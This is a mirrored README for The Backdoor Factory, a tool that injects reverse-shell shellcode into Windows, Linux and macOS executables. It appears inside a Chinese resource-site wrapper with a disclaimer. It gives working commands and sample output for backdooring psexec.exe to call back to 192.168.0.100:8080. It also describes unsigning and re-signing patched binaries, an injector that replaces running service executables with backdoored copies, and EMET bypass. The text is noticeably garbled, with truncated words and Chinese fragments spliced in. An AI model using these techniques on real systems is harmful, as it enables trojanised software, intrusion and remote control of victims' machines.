the-backdoor-factory - Patch PE, ELF, Mach-O binaries with shellcode new

项目说明

The new of BACKDOOR FACTORY is a! Get access here:

WARNING: Pull Requests WILL BE IGNORED AND CLOSED.

The Backdoor Factory (BDF)

For security professionals and researchers only.

The goal of BDF is to patch executable binaries with user desired shellcode and continue normal execution of the prepatched state.

![Join the chat at ]() ![Black Hat Arsenal]()

Black Hat USA 2015:

Video:

Paper:

Shmoocon 2015:

Video:

Paper:

DerbyCon 2014:

Video:

DerbyCon 2013:

Video:

Injection Module Demo:

Slides:

Contact the de on:

IRC:
irc.freenode.net #BDFactory

Twitter:

Under a BSD 3 Clause License

See the wiki:

---

Installing

DOCKER

###OLD SCHOOL

####Dependences
#####*To use OnionDuke you MUST be on an intel machine because aPLib has no support for the ARM chipset yet.*

Capstone 引擎 can be installed from PyPi with:

sudo pip install capstone

Pefile, most recent:

osslsigncode (included in repo):

Kali Install:

apt-get update
apt-get install backdoor-factory

Other *NIX/MAC INSTALL:

./install.sh

This will install Capstone with 3.01 pip to install pefile.

UPDATE:

./update.sh

---

Supporting:

Windows PE x86/x64,ELF x86/x64 (System , ARM Little Endian x32),
and Mach-O x86/x64 and those formats in FAT files

Packed Files: PE UPX x86/x64

Experimental: OpenBSD x32

Some executables ha in protections, as such this will not work on all binaries. It is ad that you test target binaries before deploying them to clients or using them in exercises. I'm on the verge of bypassing NSIS, so bypassing these checks will be included in the future.

Many thanks to Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Without him, I would still be trying to do stupid things
with the elf format.
Also thanks to Sil with his 1998 paper
() which these ELF patching
techniques are based on.

Recently tested on many binaries.
---

./backdoor.py -h
Usage: backdoor.py [options]

---

##Features:

###PE Files

Can find all codecaves in an EXE/DLL.
By default, clears the pointer to the PE certificate table, thereby unsigning a binary.
Can inject shellcode into 代码 caves or into a new section.
Can find if a PE binary needs to run with elevated pri.
When selecting 代码 caves, you can use the following commands:
-Jump (j), for code ca
-Single (s), for patching all your shellcode into one cave
-Append (a), for creating a code cave
-Ignore (i or q), ne, ignore this binary
Can ignore DLLs
Import Table Patching
AutoPatching (-m automtic)
Onionduke (-m onionduke)

###ELF Files

Extends 1000 bytes (in bytes) to the TEXT SEGMENT and injects shellcode into that section of 代码.

###Mach-O Files
Pre-Text Section patching and signature removal

###O

The user can :
-Provide custom shellcode.
-Patch a directory of executables/dlls.
-Select x32 or x64 binaries to patch only.
-Include BDF is other python projects see pebin.py and elfbin.py

---------------------------------------------

Sample Usage:
---

###Patch an exe/dll using an existing 代码 cave:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s re

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All ca: (402,)
############################################################
The following caves can be used to inject 代码 and possibly
continue execution.
Don't like what you see? Use jump, single, append, or ignore.
############################################################
[*] Cave 1 length as int: 402
[*] A caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Ca: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Ca: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Ca: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Ca: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Ca: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Ca: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Ca: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Ca: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Ca: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Ca: 0x5b239 End: 0x5b468; Cave Size: 559
**
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] O certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

---

###Patch an exe/dll by adding a 代码 section:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s re -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] O certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

---

###Patch a directory of exes:
./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s re -a
...output too long for README...

---

###User supplied shellcode:
msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.

---
###PEcodeSigning

BDF can sign PE files if you have a codesigning cert. It uses osslsigncode.
Put your signing cert and private key in the certs/ directory. Prep your certs using openssl commands from this blog post:

Put your private key password in a file (gasp) as so (exactly as so):

echo -n yourpassword > certs/passFile.txt

Name your certs EXACTLY as follows:

signingCert.cer => certs/signingCert.cer
signingPri.pem => certs/signingPri.pem

Your certs/ directory should look excatly as so:

certs
├── passFile.txt
├── signingPri.pem
└── signingCert.cer

Enable PE 代码 Signing with the -C flag as so:

./backdoor.py -f tcpview.exe -s iat_re -H 172.16.186.1 -P 8080 -m automatic -C

On successful run you should see this line in BDF output:

[*] Code Signing Succeeded

---
###Hunt and backdoor: Injector | Windows Only
The injector module will look for target executables to backdoor on disk. It will check to see if you ha the target as a service, check to see if the process is running, kill the process and/or service, inject the executable with the shellcode, save the original file to either file.exe.old or another suffix of choice, and attempt to restart the process or service.
Edit the python dictionary "list_of_targets" in the 'injector' module for targets of your choosing.

./backdoor.py -i -H 192.168.0.100 -P 8080 -s re -a -u .moocowwow

---

###Changelog

####01/11/2016

* Fix entry point truncation bug that led to improper recovery in rare instances

####07/04/2016

* Support for dynamic paths in BDFProxy for preprocessor

####06/19/2016

* Added the preprocessor and other optimizations
* The preprocessor allows the user to modify the binary prior to payload injection
* Invoke with the -p flag
* See samples in ./preprocessor/

####12/20/2015

* Added directory paths to BDF to find certs directory.

####12/18/2015
* Added PE codesiging support. You must provide your own codesigning cert. See here:

####11/17/2015

* Bug fix in rsrc section for onionduke patching and remove of random win32 value in PE Header

####11/13/2015
* Added proper truncating of a PE file after signature pointer is cleared in PE header - e.g. proper unsigning. Resulting in better support for IAT patching

####10/19/2015
* Fixed bug in IAT directory ca that caused BDF crash
* Made the feature optional with -A flag

####10/13/2015
* Changed the Import Table Directory modifications from adding a new section to using an existing 代码 cave

####08/12/2015
* Added 'replace' PATCH_METHOD - a straight PE copy pasta of the supplied binary
* More for usage with BDFProxy

Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe

####08/11/2015
* Stability fix for auto ca for rare caves of o

####08/05/2015

* BH USA UPDATES, w00t!
* OnionDuke, use -m onionduke
* Supports user supplied exe's and dll's
* Usage: ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe
* XP MODE = Prior IAT based payloads did not support XP, Wine, or Windows 98. If you need to support XP use the -X flag. I'm not supporting anything less than XP (and not XP x64).
* Invoke UAC prompt to runas as admin. *experimental* - patches the PE manifest if requestedExecutionLe.
* Stability updates:
* Fixed a bug with incorrect R jmp'ing across 2+ 代码 caves
* Better checks to determine if a new section for the IAT will write into appended data and therefore fail
* Speed Impro:
* Faster 代码 ca while using *automatic* mode (-m automatic)
* Faster rsrc parsing to find manifest file

####5/01/2015

* Bug fix to the red payload when using single ca

####4/28/2015

* Adding check for Bound Imports (PE files with bound imports will not be patched)

####4/14/2015

So many updates:
* Automatic patching for PE files (use -m automatic with a *_threaded payload)

* New IAT payloads for x86/x64 PE files

* Just watch:

####2/14/2015
I <3 you guys

* Added Import Address Table patching for PEs to support iat_re payloads that
use the import table for winAPI calls. If the binary you are patching does not
ha and GetProcAddress, for example, BDF will patch it in to a
new Import Table in a new section. Supports x64/x86 PEs.

* Added iat_re for x64 PEs.

* Bug fixes and impro

####1/1/2015

Happy New Year!

Two new OS X payloads! The delay: delay_re

-B 30 --> delay the payload for 30 seconds, main 代码 runs right away.

Setting of firm capstone commit for building into BDF, capstone 'Next' repo
breaks BDF.

Fixes to support cython capstone implementation null byte truncation issue

####12/27/2014

Added payloadtests.py

This script will output patched files in backdoored that will allow for the user to
test the payloads as they wish. Each payload type increments the port used
by one.

Usage: payloadtest.py binary HOST PORT

####12/17/2014

OS X Beaconing Payloads for x86 and x64: beaconing_re

-B 15 --> set beacon time for 15 secs

Bug fix to support OS X for BDFProxy

####10/11/2014

PE UPX Patching Added

####9/26/2014

Mach-O x86/x64 added

x86 IAT payload optimization

####7/31/2014

Added support for ARM x32 LE ELF patching

####7/22/2014

Added FreeBSD x32 ELF patching support

Change to BSD 3 Clause License

####7/13/2014

Incorporated Capstone:

During the process of adding Capstone, I remo 500 lines of 代码. That's pretty awesome.

Renamed loadliba_re to iat_re.

Small optimizations for speed.

####5/30/2014

Added a new win86 shellcode: loadliba_re

- Based on the following research by Jared DeMott: -- Thanks for mentioning this.
- This shellcode uses LoadLibraryA and GetProcAddress APIs to find all necessary APIs for a reverse TCP connection. No more of Stephen Fewers API hash lookup (which is still brilliant).
- It's not stealthy. It's position dependent. But the results are great (代码 ca):
- Bypasses EMET 4.1. The caller protection doesn't catch it.
- As such, I'll be furthering this idea with an algo that patches the binary with custom shellcode based on the APIs that are in the IAT. Including porting the current win86 shellcodes to this idea.

---

项目信息

开发语言：Python

Star 数：3438

技术要点

该项目属于黑客技术方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕Patch PE, ELF, Mach-O binaries with shellcode new in de, a only to sponsors展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。